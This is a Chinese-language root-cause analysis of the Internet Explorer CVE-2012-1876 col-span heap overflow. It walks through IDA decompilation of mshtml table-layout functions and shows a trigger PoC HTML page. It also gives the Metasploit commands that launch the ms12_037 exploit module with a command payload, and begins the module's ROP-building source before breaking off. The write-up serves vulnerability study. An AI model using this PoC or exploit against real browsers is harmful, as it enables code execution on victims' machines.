v29 = 28 * v137 + *((_DWORD *)a2 + 39) - 28;
goto LABEL_119;
}
v38 = CImplAry::EnsureSizeWorker(v36, 0x1Cu);
}
if ( v38 )
goto LABEL_67;
goto LABEL_21;
}
v74 = *((_DWORD *)a2 + 35);
if ( v74 )
v75 = *(_DWORD *)(v74 + 44);
else
v75 = 0;
v42 = v120 - *((_DWORD *)a2 + 57) - v75;
v130 = v42;
NextRow = CTableLayout::GetNextRow(a2);
v36 = (CUnitValue *)*((_DWORD *)a2 + 76);
v39 = v128;
v41 = (CUnitValue *)((char *)v36 + 4 * NextRow);
LABEL_30:
v49 = *((_DWORD *)a2 + 64) <= 26;
v133 = v41;
if ( !v49 )
{
if ( !v137 )
goto LABEL_47;
v29 = 28 * v137 + *((_DWORD *)a2 + 39) - 28;
LABEL_119:
v127 = v29;
goto LABEL_47;
}
*((_DWORD *)a2 + 17) |= 0x20u;
if ( v42 <= 0 )
goto LABEL_44;
do
{
v43 = CTableRow::RowLayoutCache(v36, v103);
v113 = v43;
if ( v43 )
{
v44 = v43;
if ( *((_DWORD *)v43 + 16) >> 2 < v137 )
CTableRowLayout::EnsureCells(v36, (int)v43);
CUnitValue::SetNull(v36);
v122 = (struct CCalcInfo *)*((_DWORD *)v44 + 18);
CharFormat = CTreeNode::GetCharFormat(v45);
v47 = (CElement **)v133;
v107 = (*(unsigned __int16 *)CharFormat >> 5) & 1;
a3[17].cx = *(_DWORD *)v133;
FancyFormat = CTreeNode::GetFancyFormat(*((CTreeNode **)*v47 + 5));
cy = (struct CLayoutContext *)a3[1].cy;
a3[18].cx = (LONG)FancyFormat;
a3[17].cy = (LONG)CElement::GetUpdatedLayout(*v47, cy);
v39 = (_DWORD *)*((_DWORD *)a2 + 39);
v135 = (struct CWidthUnitValue *)v137;
v49 = v137 <= 0;
while ( 1 )
{
v128 = v39;
if ( v49 )
goto LABEL_41;
if ( (v39[5] & 0x20) != 0
|| (v50 = ~*(_DWORD *)v122, v115 = (CElement *)(*(_DWORD *)v122 & 0xFFFFFFFC), (v50 & 1) == 0) )
{
AAcolSpan = 1;
goto LABEL_40;
}
v90 = CElement::GetUpdatedLayout(v115, (struct CLayoutContext *)a3[1].cy);
v121 = v90;
if ( (unsigned int)v39 > v127 )
v127 = (int)v39;
AAcolSpan = CTableCell::GetAAcolSpan(v61);
if ( AAcolSpan >= 1000 )
AAcolSpan = 1000;
if ( !v107 )
break;
LABEL_40:
v135 = (struct CWidthUnitValue *)((char *)v135 - AAcolSpan);
v36 = (struct CCalcInfo *)((char *)v122 + 4 * AAcolSpan);
v39 += 7 * AAcolSpan;
v49 = (int)v135 <= 0;
v122 = v36;
}
v109 = CTableCell::RowSpan(v62);
v112 = (CTableRowLayout *)*((_DWORD *)v115 + 5);
PixelWidth = CTableCellLayout::GetSpecifiedPixelWidth(v63, v90, (int)a3);
v125 = (const struct CFancyFormat *)((char *)CTreeNode::GetFancyFormat(v112) + 112);
if ( v130 == v120 )
{
v39[5] ^= (v39[5] ^ (CUnitValue::IsNullOrEnum(v64) == 0)) & 1;
if ( AAcolSpan > 1 )
{
v7 = v39 + 12;
v8 = AAcolSpan - 1;
do
{
*v7 ^= (*v7 ^ v39[5]) & 1;
v7 += 7;
--v8;
}
while ( v8 );
}
}
v134 = (int)v135 <= v131 || (v39[5] & 1) == 0 || v130 == v120 && (*(_BYTE *)v125 & 0xF) == 10;
v65 = *((_DWORD *)a2 + 17);
v60 = 256;
v66 = (v65 & 0x100) != 0 && !v134;
v67 = v134 == 0;
*((_DWORD *)a2 + 17) = v65 ^ (v65 ^ (v66 << 8)) & 0x100;
if ( v67 )
{
if ( v130 == v120 )
{
v132 = CTableCellLayout::GetBorderAndPaddingCore(v90, 1, (const struct CDocInfo *)a3, 0, 0);
v87 = CWidthUnitValue::GetPixelWidth(v125, (const struct CDocInfo *)a3, 0, (int)v103);
v88 = v132 + v87;
}
else
{
v88 = v39[1];
}
v132 = v88;
v136 = v88;
if ( !v124 )
{
LABEL_155:
v72 = 1;
if ( AAcolSpan == 1 )
{
if ( (int)v135 > v131 && (v39[5] & 1) != 0 )
v72 = 0;
CTableColCalc::AdjustForCell(
(CTableColCalc *)(v130 == v120),
a2,
PixelWidth,
v125,
v72,
v130 == v120,
(struct CCalcInfo *)a3,
v132,
v136);
}
else
{
if ( v137 - (_DWORD)v135 == *((_DWORD *)a2 + 55) )
{
CImplPtrAry::Append((CImplPtrAry *)v60, v103);
v90 = v121;
v39 = v128;
}
v9 = (AAcolSpan - 1) * (*((_DWORD *)a2 + 48) + 1);
v10 = *((_DWORD *)v90 + 50);
if ( v9 > v10 )
{
v4 = *((_DWORD *)v90 + 52);
*((_DWORD *)v90 + 53) = -1;
*((_DWORD *)v90 + 52) = v9 + v4 - v10;
*((_DWORD *)v90 + 51) = -1;
*((_DWORD *)v90 + 50) = v9;
}
if ( (int)v135 <= v131 || v134 && v130 == v120 || v124 && v130 != v120 )
{
v11 = AAcolSpan;
++i;
if ( AAcolSpan > 0 )
{
v12 = v39 + 3;
do
{
++*v12;
v12 += 7;
--v11;
}
while ( v11 );
}
}
else if ( !v134 && v130 == v120 )
{
v91 = (char *)v135 + *((_DWORD *)a2 + 20) - v137;
v134 = AAcolSpan;
if ( AAcolSpan >= (int)v91 )
v134 = (int)v91;
v92 = (v136 - *((_DWORD *)a2 + 48) * (v134 - 1)) / v134;
v93 = (v136 - *((_DWORD *)a2 + 48) * (v134 - 1)) % v134;
v94 = v39;
do
{
v95 = v92 + (v93 > 0);
v94[2] = v95;
v94[1] = v95;
*v94 = v95;
if ( (unsigned int)v94 > v127 )
v127 = (int)v94;
v94 += 7;
--v134;
--v93;
}
while ( v134 );
}
}
if ( !v114 && v109 == 1 )
CTableRowLayout::AdjustHeight(v112, v113, (struct CCalcInfo *)a3, v116);
goto LABEL_40;
}
}
if ( v124
|| ((v68 = *((_DWORD *)a2 + 17), (v68 & 1) != 0) || (v68 & 0x1000000) != 0 && (*((_BYTE *)v90 + 264) & 2) != 0)
&& *((char *)v90 + 24) < 0 )
{
*((_DWORD *)v90 + 52) = -1;
*((_DWORD *)v90 + 53) = -1;
*((_DWORD *)v90 + 50) = -1;
*((_DWORD *)v90 + 51) = -1;
*((_DWORD *)v90 + 6) &= ~0x80u;
}
CalculateCellMinMax(v90, (struct CTableCalcInfo *)a3, (struct tagSIZE *)v103);
if ( v110 < v117 )
v117 = v110;
v132 = *((_DWORD *)a2 + 17);
if ( (v132 & 0x20) != 0 && !CTableCellLayout::NoContent((CTableCellLayout *)v60) )
*((_DWORD *)a2 + 17) = v132 & 0xFFFFFFDF;
v69 = (char *)v90 + 264;
if ( (*((_DWORD *)v90 + 20) & 0x4000) != 0 )
{
*((_DWORD *)a2 + 17) |= 0x800u;
*v69 |= 2u;
}
else
{
*v69 &= ~2u;
}
if ( (*v69 & 1) != 0 )
{
CalculateCellMin(v103, v105, v106);
v70 = v118;
if ( v118 < 0 )
{
v70 = 0;
v118 = 0;
}
v89 = (int *)((char *)v121 + 200);
if ( *((_DWORD *)v121 + 50) == v70 )
goto LABEL_146;
*((_DWORD *)v121 + 51) = -1;
*v89 = v70;
}
v70 = v118;
LABEL_146:
if ( v134 )
{
v136 = v117;
v132 = v70;
if ( (int)v135 <= v131 )
{
v71 = v125;
if ( !CUnitValue::IsNullOrEnum((CUnitValue *)v60)
&& CUnitValue::IsScalerUnit(*(_DWORD *)v71 & 0xF)
&& PixelWidth )
{
v136 = PixelWidth;
}
}
v90 = v121;
if ( v136 < v70 )
v136 = v70;
}
else
{
if ( v136 <= v70 )
v136 = v70;
v90 = v121;
v132 = v136;
}
v39 = v128;
goto LABEL_155;
}
LABEL_41:
--v130;
v133 = (CTableLayout *)((char *)v133 + 4);
}
while ( v130 > 0 );
if ( i )
{
v122 = 0;
v131 = 0;
CTableLayout::AdjustForColSpan(v36, a2, (struct CTableColCalc *)a3, v127);
}
LABEL_44:
v51 = *((_DWORD *)a2 + 17);
if ( (v51 & 2) != 0 && (v51 & 0x400) != 0 || (a3[15].cy & 4) != 0 )
*((_DWORD *)a2 + 17) = v51 | 0x800;
LABEL_47:
v52 = *((_DWORD *)a2 + 77);
if ( v52 )
{
v96 = *(_DWORD *)(v52 + 4) >> 2;
v140 = *(CElement ***)(v52 + 12);
while ( v96 > 0 )
{
v97 = CElement::GetUpdatedLayout(*v140, (struct CLayoutContext *)a3[1].cy);
CalculateCellMinMax(v97, (struct CTableCalcInfo *)a3, (struct tagSIZE *)v103);
if ( v110 < v117 )
v117 = v110;
--v96;
++v140;
}
}
v53 = 0;
v54 = 0;
if ( v137 )
{
v39 = (_DWORD *)*((_DWORD *)a2 + 39);
if ( (unsigned int)v39 <= v127 )
{
v55 = (*((_DWORD *)a2 + 17) >> 21) & 1;
do
{
v54 += v39[1];
v53 += *v39;
if ( v54 > 0x3FFFFFFF )
v54 = 0x3FFFFFFF;
if ( !v55 && (v39[5] & 0x28) == 0 )
++*((_DWORD *)a2 + 56);
v39 += 7;
}
while ( (unsigned int)v39 <= v127 );
}
}
if ( *((_DWORD *)a2 + 22) < v53 )
*((_DWORD *)a2 + 22) = v53;
if ( *((_DWORD *)a2 + 24) < v54 )
*((_DWORD *)a2 + 24) = v54;
v56 = *((_DWORD *)a2 + 22);
v57 = 0;
if ( v56 || *((_DWORD *)a2 + 24) )
{
v58 = *((_DWORD *)a2 + 45) + *((_DWORD *)a2 + 47) + *((_DWORD *)a2 + 48) * (*((_DWORD *)a2 + 56) + 1);
*((_DWORD *)a2 + 24) += v58;
*((_DWORD *)a2 + 22) = v58 + v56;
}
if ( v111
&& (*((_DWORD *)a2 + 24) < SpecifiedPixelWidth
|| *((_DWORD *)a2 + 56) == 1 && !CUnitValue::IsScalerUnit(*(v39 - 1) & 0xF)) )
{
SpecifiedPixelWidth = v57;
}
v59 = *((_DWORD *)a2 + 83) >> 2;
v139 = (CElement **)*((_DWORD *)a2 + 85);
if ( v59 > v57 )
{
do
{
v99 = CElement::GetUpdatedLayout(*v139, (struct CLayoutContext *)a3[1].cy);
if ( v99 )
{
CLayout::CalcSize(v98, v99, a3, 0);
v132 = *((_DWORD *)a2 + 17);
if ( (v132 & 0x20) != 0 && !CTableCellLayout::NoContent(v100) )
*((_DWORD *)a2 + 17) = v132 & 0xFFFFFFDF;
v101 = v118;
if ( *((_DWORD *)a2 + 22) < v118 )
*((_DWORD *)a2 + 22) = v118;
if ( *((_DWORD *)a2 + 24) < v101 )
*((_DWORD *)a2 + 24) = v101;
if ( (*((_DWORD *)a2 + 74) & 0xFFFFFFFC) == 0 && *((_DWORD *)a2 + 24) < v117 )
*((_DWORD *)a2 + 24) = v117;
}
++v139;
--v59;
}
while ( v59 > 0 );
}
if ( SpecifiedPixelWidth )
{
v6 = SpecifiedPixelWidth;
if ( SpecifiedPixelWidth > *((_DWORD *)a2 + 22) )
{
*((_DWORD *)a2 + 24) = SpecifiedPixelWidth;
*((_DWORD *)a2 + 22) = v6;
}
}
LABEL_66:
v36 = (CUnitValue *)a3;
a3[5].cx = cx;
LABEL_67:
CImplAry::~CImplAry(v36);
}

通过 IDA 提供的 CFG 对 esi 进行污点分析得出

1
2
3
4
5
6
.text:74EBF43B                               loc_74EBF43B:                           ; CODE XREF: CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+1953BE↑j
.text:74EBF43B 8B 83 9C 00 00 00 mov eax, [ebx+9Ch]
...
.text:74EBF447 89 45 D8 mov [ebp+var_28], eax
...
.text:74EBF46F 8B 75 D8 mov esi, [ebp+var_28]

esi 的值为 [ebx+9Ch]。对应反编译代码

1
2
3
v128 = (_DWORD *)(v86 + *((_DWORD *)a2 + 39));
...
CTableColCalc::AdjustForCol(v125, v128, v135, (int)a3, v122, (int)v103);

仅靠动态分析难以得出 esi 指向的究竟是什么值,回到动态调试查看 esi 的值发现指向一个大小为 0x70 的堆块,查看堆块信息发现其由 CImplAry::EnsureSizeWorker 函数分配,定位到该函数,其反汇编代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
.text:74DF349E
.text:74DF349E ; =============== S U B R O U T I N E =======================================
.text:74DF349E
.text:74DF349E ; Attributes: bp-based frame
.text:74DF349E
.text:74DF349E ; int __userpurge CImplAry::EnsureSizeWorker@<eax>(unsigned int@<eax>, int@<edi>, unsigned int Size)
.text:74DF349E ?EnsureSizeWorker@CImplAry@@AAEJIJ@Z proc near
.text:74DF349E ; CODE XREF: CPtsBlockContainerParaclient::SetupDisplayBox(Ptls5::fscontext *,Ptls5::fspara * const,CRect const *,CInlineRelativeStackingContext *,TSmartPointer<CDisplayBox> &,CDisplayBox * *,long,long,ulong,bool)-69DE4↑p
.text:74DF349E ; CDataAry<Ptls5::fsapedescription>::EnsureSize(long)-72EED↑p
.text:74DF349E ; CClassTable::AssignClsidID(CDoc *,_GUID const &,long *)-985F8↑p
.text:74DF349E ; CView::DeferTransition(COleSite *)+3F↑p
.text:74DF349E ; CView::DeferSetObjectRects(COleSite *,tagRECT const *,tagRECT const *,HWND__ *,int)+5D↑p
.text:74DF349E ; CTableRowBlock::EnsureColumnCount(int)+2660↑p
.text:74DF349E ; CCssDocumentLayout::StorePage(int,CCssPageLayout *,Ptls5::fspage *,Ptls5::fsbreakrecpage *)-58FA8↑p
.text:74DF349E ; CDataStream::SaveDataLater(ulong *,ulong)+8A↑p
.text:74DF349E ; CHtmPre::SaveBuffer(void)+32↑p
.text:74DF349E ; CHtmPre::SaveBuffer(void)+65↑p
.text:74DF349E ; CTableLayout::CalculateMinMax(CTableCalcInfo *,int)+187↑p
.text:74DF349E ; CDataAry<CAttrValue>::EnsureSize(long)+18↑p
.text:74DF349E ; CImplAry::Grow(uint,int)-8D651↑p
.text:74DF349E ; CDataRecovery::StartSaveDataTimer(void)+21↑p
.text:74DF349E ; FormsSetTimer(void *,long (CVoid::*)(uint),uint,uint)-44997↑p ...
.text:74DF349E
.text:74DF349E dwBytes= dword ptr -8
.text:74DF349E var_4= dword ptr -4
.text:74DF349E Size= dword ptr 8
.text:74DF349E
.text:74DF349E ; FUNCTION CHUNK AT .text:74DF64F3 SIZE 00000036 BYTES
.text:74DF349E ; FUNCTION CHUNK AT .text:74E2DF00 SIZE 0000003D BYTES
.text:74DF349E ; FUNCTION CHUNK AT .text:74EB723C SIZE 0000000D BYTES
.text:74DF349E
.text:74DF349E 8B FF mov edi, edi
.text:74DF34A0 55 push ebp
.text:74DF34A1 8B EC mov ebp, esp
.text:74DF34A3 51 push ecx
.text:74DF34A4 51 push ecx
.text:74DF34A5 53 push ebx
.text:74DF34A6 56 push esi ; unsigned int
.text:74DF34A7 8B F0 mov esi, eax
.text:74DF34A9 6A 04 push 4
.text:74DF34AB 58 pop eax
.text:74DF34AC 89 45 FC mov [ebp+var_4], eax
.text:74DF34AF 3B F0 cmp esi, eax
.text:74DF34B1 0F 83 3C 30 00 00 jnb loc_74DF64F3
.text:74DF34B1
.text:74DF34B7
.text:74DF34B7 loc_74DF34B7: ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+3058↓j
.text:74DF34B7 ; CImplAry::EnsureSizeWorker(uint,long)+307D↓j
.text:74DF34B7 ; CImplAry::EnsureSizeWorker(uint,long)+3086↓j
.text:74DF34B7 8B 45 FC mov eax, [ebp+var_4]
.text:74DF34BA F7 65 08 mul [ebp+Size]
.text:74DF34BD 52 push edx
.text:74DF34BE 50 push eax ; unsigned __int64
.text:74DF34BF 8D 45 F8 lea eax, [ebp+dwBytes]
.text:74DF34C2 E8 1F A3 FE FF call ?ULongLongToUInt@@YGJ_KPAI@Z ; ULongLongToUInt(unsigned __int64,uint *)
.text:74DF34C2
.text:74DF34C7 8B D8 mov ebx, eax
.text:74DF34C9 85 DB test ebx, ebx
.text:74DF34CB 75 25 jnz short loc_74DF34F2
.text:74DF34CB
.text:74DF34CD F6 47 04 02 test byte ptr [edi+4], 2
.text:74DF34D1 0F 85 29 AA 03 00 jnz loc_74E2DF00
.text:74DF34D1
.text:74DF34D7 FF 75 F8 push [ebp+dwBytes] ; dwBytes
.text:74DF34DA 8D 77 0C lea esi, [edi+0Ch]
.text:74DF34DD E8 C3 A2 FE FF call ?_HeapRealloc@@YGJPAPAXI@Z ; _HeapRealloc(void * *,uint)
.text:74DF34DD
.text:74DF34E2 8B D8 mov ebx, eax
.text:74DF34E4 85 DB test ebx, ebx
.text:74DF34E6 75 0A jnz short loc_74DF34F2
.text:74DF34E6
.text:74DF34E8
.text:74DF34E8 loc_74DF34E8: ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+3AA9A↓j
.text:74DF34E8 8B 45 FC mov eax, [ebp+var_4]
.text:74DF34EB 83 67 04 FD and dword ptr [edi+4], 0FFFFFFFDh
.text:74DF34EF 89 47 08 mov [edi+8], eax
.text:74DF34EF
.text:74DF34F2
.text:74DF34F2 loc_74DF34F2: ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+2D↑j
.text:74DF34F2 ; CImplAry::EnsureSizeWorker(uint,long)+48↑j
.text:74DF34F2 ; CImplAry::EnsureSizeWorker(uint,long)+3074↓j
.text:74DF34F2 ; CImplAry::EnsureSizeWorker(uint,long)+C3DA6↓j
.text:74DF34F2 5E pop esi
.text:74DF34F3 8B C3 mov eax, ebx
.text:74DF34F5 5B pop ebx
.text:74DF34F6 C9 leave
.text:74DF34F7 C2 04 00 retn 4
.text:74DF34F7
.text:74DF34F7 ?EnsureSizeWorker@CImplAry@@AAEJIJ@Z endp
.text:74DF34F7
.text:74DF34F7 ; ---------------------------------------------------------------------------

其反编译代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int __userpurge CImplAry::EnsureSizeWorker@<eax>(unsigned int a1@<eax>, int a2@<edi>, unsigned int Size)
{
int v5; // ebx
unsigned int v6; // eax
const void *v8; // esi
void *v9; // eax
unsigned int *v10; // [esp+0h] [ebp-10h]
unsigned int v11; // [esp+0h] [ebp-10h]
SIZE_T dwBytes; // [esp+8h] [ebp-8h]
unsigned int v13; // [esp+Ch] [ebp-4h] BYREF
unsigned int Sizea; // [esp+18h] [ebp+8h]

v13 = 4;
if ( a1 >= 4 )
{
v13 = a1;
if ( a1 > 4 )
{
v5 = ULongAdd(*(_DWORD *)(a2 + 8), *(_DWORD *)(a2 + 8) >> 1, &v13);
if ( v5 )
return v5;
if ( a1 > v13 )
v13 = a1;
}
}
v5 = ULongLongToUInt(Size * (unsigned __int64)v13, v10);
if ( !v5 )
{
if ( (*(_BYTE *)(a2 + 4) & 2) != 0 )
{
v8 = *(const void **)(a2 + 12);
Sizea = CImplAry::GetAlloced((CImplAry *)a2, Size);
v9 = HeapAlloc(g_hProcessHeap, 0, dwBytes);
*(_DWORD *)(a2 + 12) = v9;
if ( !v9 )
{
*(_DWORD *)(a2 + 12) = v8;
return -2147024882;
}
memcpy(v9, v8, Sizea);
goto LABEL_5;
}
v5 = _HeapRealloc(dwBytes, v11);
if ( !v5 )
{
LABEL_5:
v6 = v13;
*(_DWORD *)(a2 + 4) &= ~2u;
*(_DWORD *)(a2 + 8) = v6;
}
}
return v5;
}

由于这些函数实际上是 CTableLayout 对象的方法,结合 CTableLayout 对象的定义与 CTableLayout::CalculateMinMax 函数调用 CImplAry::EnsureSizeWorker 函数时的上下文可知 CImplAry::EnsureSizeWorker 函数的参数 a1 实际上是 table 标签里 col 元素中的 span 属性值的和,此处记作 span_sum,参数 Size 为常量 0x1C。因此 CImplAry::EnsureSizeWorker 函数分配的内存空间大小为 span_sum * 0x1C,若 span_sum 小于 4 则分配 4 * 0x1C = 0x70 大小的堆块

因此,Crash Point 处 Access Violation 的目标地址 edi 实际上是一个堆块偏移 18h 处的内存,或者说 CrashPoint 的反编译代码中的 a2 实际上是一个堆指针

1
2
3
.text:75050A2B 8D 7E 18                      lea     edi, [esi+18h]
.text:75050A2E 50 push eax
.text:75050A2F 89 0F mov [edi], ecx //* Crash Point
1
a2[6] = *a1; //* Crash Point

带着这样的认识,重新审计 CTableLayout::CalculateMinMax 函数调用 CTableColCalc::AdjustForCol 函数时的调用逻辑与 CTableColCalc::AdjustForCol 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
void __thiscall CTableLayout::CalculateMinMax(
CTableLayout *this,
struct CTableCalcInfo *a2,
struct tagSIZE *a3,
int a4)
{
if ( *((_DWORD *)a2 + 37) >> 2 >= v137 )
goto LABEL_22;
if ( v137 < 0 )
{
v38 = -2147024809;
}
else
{ ...

if ( CElement::IsDisplayNone(v36) )
{
AAspan = 1;
v16 = 0;
}
else
{
AAspan = CTableCol::GetAAspan(v80);
if ( AAspan >= 1000 )
AAspan = 1000;
v125 = (const struct CFancyFormat *)((char *)CTreeNode::GetFancyFormat(*(CTreeNode **)(i + 20)) + 112);
v16 = CUnitValue::IsNullOrEnum(v81) == 0;
}
...
v133 = 0;
if ( AAspan > 0 )
{
v86 = 28 * v136;
v124 += AAspan;
for ( i = 28 * v136; ; v86 = i )
{
v128 = (_DWORD *)(v86 + *((_DWORD *)a2 + 39));
if ( v131 && AAspan > 1 && v133 == (CTableLayout *)(AAspan - 1) )
v135 = (struct CWidthUnitValue *)(PixelWidth - (_DWORD)v135 * (AAspan - 1));
CTableColCalc::AdjustForCol(v125, v128, v135, (int)a3, v122, (int)v103);
v133 = (CTableLayout *)((char *)v133 + 1);
i += 28;
if ( (int)v133 >= AAspan )
break;
}
}
v38 = ((_DWORD (__thiscall *)(CImplAry *, unsigned int))CImplAry::EnsureSizeWorker)(v36, 0x1Cu);
}
}

void __userpurge CTableColCalc::AdjustForCol(
_DWORD *a1@<eax>,
_DWORD *a2@<esi>,
const struct CWidthUnitValue *a3,
int a4,
struct CCalcInfo *a5,
int a6)
{
int v6; // [esp-4h] [ebp-Ch]

v6 = *a1 & 0xF;
a2[6] = *a1;
if ( CUnitValue::IsScalerUnit(v6) )
{
CUnitValue::SetValue(a2 + 6, 8);
a2[1] = a3;
*a2 = a3;
}
else
{
if ( a5 != (struct CCalcInfo *)1 )
CUnitValue::SetPercent((CUnitValue *)0x64, (int)(a2 + 6));
*a2 = 1;
a2[1] = *(_DWORD *)(a4 + 16);
}
a2[2] = a3;
}

CTableColCalc::AdjustForCol 函数中写入的数据是什么不是很重要因此没有赘述,但事实上写入堆块的数据是 col 元素的 with 属性值乘以一百,具体计算过程见 CWidthUnitValue::GetPixelWidth 函数。

我们能够注意到 CTableColCalc::AdjustForCol 函数是在一个 for 循环中被调用的,这个循环会循环 AAspan 次,其中 AAspan 是 CTableCol::GetAAspan 函数的返回值,它的最大值为 1000,最小值为 1。同时每次循环,传入 CTableColCalc::AdjustForCol 函数的堆块基址都会增加

1
2
3
4
5
6
7
8
9
for ( i = 28 * v136; ; v86 = i )
{
v128 = (_DWORD *)(v86 + *((_DWORD *)a2 + 39));
...
CTableColCalc::AdjustForCol(v125, v128, v135, (int)a3, v122, (int)v103);
...
i += 28;
...
}

这意味着其实动态调试时只有 CTableColCalc::AdjustForCol 函数第一次被调用时,它的第二个参数才是堆块的起始地址,而循环次数每增加一次,CTableColCalc::AdjustForCol 函数写入数据的目标地址都会向高地址方向偏移 0x1C。或者简单地说,这个循环总是会向堆块中写入 AAspan * 0x1C 长度的数据

堆块的大小也为 span_sum * 0x1C,不难联想到 AAspan 就是 span_num,具体过程可见 CTableCol::GetAAspan 函数

分析 CTableLayout::CalculateMinMax 函数的执行流,会发现在一定条件下,函数会复用之前申请的堆块而不是重新申请新的堆块。因此如果 CTableLayout::CalculateMinMax 函数第二次执行时的 AAspan 大于它第一次执行时的 AAspan 值且堆块被复用,程序将会发生堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--POC.html-->
<html>
<body>
<table style="table-layout:fixed">
<col id="132" width="41" span="1" ></col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
​ obj_col.width = "42765";
​ obj_col.span = 1000;
}

setTimeout("over_trigger();",1);
</script>
</body>
</html>

样本中的代码也确实是这么做的,它创建了一个 span 值为 1 的 col 标签,随后通过 JavaScript 将其 span 值修改为了最大值 1000,进而触发了堆溢出

漏洞利用

使用 MSF 搜索该漏洞的 exp

1
2
msfconsole
msf6 > search cve-2012-1876

搜索结果

1
2
3
4
5
6
7
8
9
10
11
12
13
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/browser/ms12_037_ie_colspan 2012-06-12 normal No MS12-037 Microsoft Internet Explorer Fixed Table Col Span Heap Overflow
1 \_ target: Automatic . . . .
2 \_ target: IE 8 on Windows XP SP3 with msvcrt ROP . . . .
3 \_ target: IE 8 on Windows 7 SP1 . . . .


Interact with a module by name or index. For example info 3, use 3 or use exploit/windows/browser/ms12_037_ie_colspan
After interacting with a module you can manually set a TARGET with set TARGET 'IE 8 on Windows 7 SP1'

调用该模块并查看模块详情

1
2
msf6 > use exploit/windows/browser/ms12_037_ie_colspan
msf6 exploit(windows/browser/ms12_037_ie_colspan) > info

模块详情信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
       Name: MS12-037 Microsoft Internet Explorer Fixed Table Col Span Heap Overflow
Module: exploit/windows/browser/ms12_037_ie_colspan
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2012-06-12

Provided by:
Alexandre Pelletier
mr_me <steventhomasseeley@gmail.com>
binjo
sinn3r <sinn3r@metasploit.com>
juan vazquez <juan.vazquez@metasploit.com>

Available targets:
Id Name
-- ----
=> 0 Automatic
1 IE 8 on Windows XP SP3 with msvcrt ROP
2 IE 8 on Windows 7 SP1

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
OBFUSCATE false no Enable JavaScript obfuscation
SRVHOST ******* yes The local host or network interface to listen on. This must be an address on the lo
cal machine or ******* to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Payload information:
Space: 1024
Avoid: 1 characters

Description:
This module exploits a heap overflow vulnerability in Internet Explorer caused
by an incorrect handling of the span attribute for col elements from a fixed table,
when they are modified dynamically by javascript code.

References:
https://nvd.nist.gov/vuln/detail/CVE-2012-1876
OSVDB (82866)
http://www.securityfocus.com/bid/53848
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2012/MS12-037


View the full module info with the info -d command.

使用该模块生成木马

1
2
3
msf6 exploit(windows/browser/ms12_037_ie_colspan) > set payload windows/exec
msf6 exploit(windows/browser/ms12_037_ie_colspan) > set CMD calc.exe
msf6 exploit(windows/browser/ms12_037_ie_colspan) > exploit

随后 MSF 将在本地启动 Web Server 并在攻击目标访问时为其响应异常 HTML 页面以触发漏洞

Exploit 分析

该模块的 exp 位于

1
/usr/share/metasploit-framework/modules/exploits/windows/browser/ms12_037_ie_colspan.rb

exp 的核心代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'HeapLib test 1',
'Description' => %q{...},
'License' => MSF_LICENSE,
'Author' => [ 'corelanc0d3r' ],
'Version' => '$Revision: $',
'References' => [...],
'DefaultOptions' => {...},
'Payload' => {...},
'Platform' => 'win',
'Targets' => [...],
'DisclosureDate' => '',
'DefaultTarget' => 0))
end

def autofilter
false
end

#* 生成 ROP 链
def get_rop
rop = [
0x41414141, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0x42424242, # (dwSize)
0x43434343, # RETN (ROP NOP)
0x44444444, # JMP [EAX]
0x45454545,
0x46464646, # skip 4 bytes
0x47474747, # INC EBX # FPATAN # RETN
0x48484848, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x49494949, # POP EDX # RETN
0x4a4a4a4a, # flNewProtect
0x4b4b4b4b, # POP ECX # RETN
